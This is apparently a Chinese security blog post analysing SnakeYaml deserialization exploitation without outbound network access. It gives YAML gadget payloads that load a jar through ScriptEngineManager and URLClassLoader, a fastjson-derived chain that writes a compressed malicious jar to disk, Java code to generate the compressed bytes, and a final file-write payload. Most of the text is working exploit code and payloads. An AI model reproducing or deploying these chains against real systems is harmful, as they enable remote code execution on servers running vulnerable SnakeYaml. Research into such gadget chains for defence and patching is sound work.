SnakeYaml的不出网反序列化利用分析

SnakeYaml的常见出网利用方式：

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
  ]]
]

不出网利用方式：写入恶意文件，之后使用上面的利用链。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["file:D:\\yaml-payload.jar"]
  ]]
]

在java中的执行如下

URL url = new URL("file:D:\\yaml-payload.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);

写入文件的利用链来源于fastjson 1.2.68利用链，主要是分析这条链。

{
  "@type": "java.lang.Exception",
  "@type": "java.io.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "java.io.FileOutputStream",
      "file": "D:\\yaml-payload.jar",
      "append": "false"
    },
    "infl": {
      "input": "xxxxx"
    },
    "bufLen": 1048576
  },
  "protocolVersion": 1
}

翻译成java执行方式大概是这样：

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
//先对字节码压缩
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);
FileOutputStream fileOutputStream1 = new FileOutputStream(new File("D:\\yaml-payload.jar"));
Inflater inflater = new Inflater();
//解压
inflater.setInput(b);
InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(fileOutputStream1,inflater,1048576);
//这里并没有用MarshalOutputStream，因为MarshalOutputStream构造方法，调用out参数，最终是给父类ObjectOutputStream的构造方法执行的，所以直接使用ObjectOutputStream好了。
ObjectOutputStream objectOutputStream = new ObjectOutputStream(inflaterOutputStream);

从最外层开始看，ObjectOutputStream构造方法，顺利执行了InflaterOutputStream.write(buf, 0, pos);，最终得到写入效果。

public ObjectOutputStream(OutputStream out) throws IOException {
        verifySubclass();
    	//this.out = InflaterOutputStream(fileOutputStream1,inflater,1048576);
        bout = new BlockDataOutputStream(out);
        handles = new HandleTable(10, (float) 3.00);
        subs = new ReplaceTable(10, (float) 3.00);
        enableOverride = false;
        writeStreamHeader();
    	//执行out.write
        bout.setBlockDataMode(true);
        if (extendedDebugInfo) {
            debugInfoStack = new DebugTraceInfoStack();
        } else {
            debugInfoStack = null;
    }
}

然后看InflaterOutputStream的write方法。

// Decompress and write blocks of output data
do {
    //这里的inf是Inflater对象，对象中已经包含了要写入的内容，之前由setInput写入，inf的赋值是在InflaterOutputStream(fileOutputStream1,inflater,1048576)构造方法中赋值。并且构造方法还赋值了out为fileOutputStream1。
    //在inf.inflate(buf, 0, buf.length)中inf对象的字节码压缩后传递给buf，最终调用out.write(buf, 0, n)写入到文件
    n = inf.inflate(buf, 0, buf.length);
    if (n > 0) {
        out.write(buf, 0, n);
    }
} while (n > 0);

这个链是给SnakeYaml做反序列化，可以这样写：

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: 压缩过的字节码内容 },1048576]]

压缩过的字节码内容，需要生成，生成完了dump成SnakeYaml的效果。

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);

Yaml yaml = new Yaml();
String dump = yaml.dump(b);
System.out.println(dump);
=================================
输出是这样的
!!binary |-
  eJwL8GZmEWHg4OB......略

最终的写入利用链：

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: !!binary eJwL8GZmEWHg4OBgEAsID2NAApwMLAy+riGOup5+bvr/TjEwMDMEeLNzgKSYoEoCcGoWAWK4Zl9HP0831+AQPV+3z75nTvt46....略 },1048576]]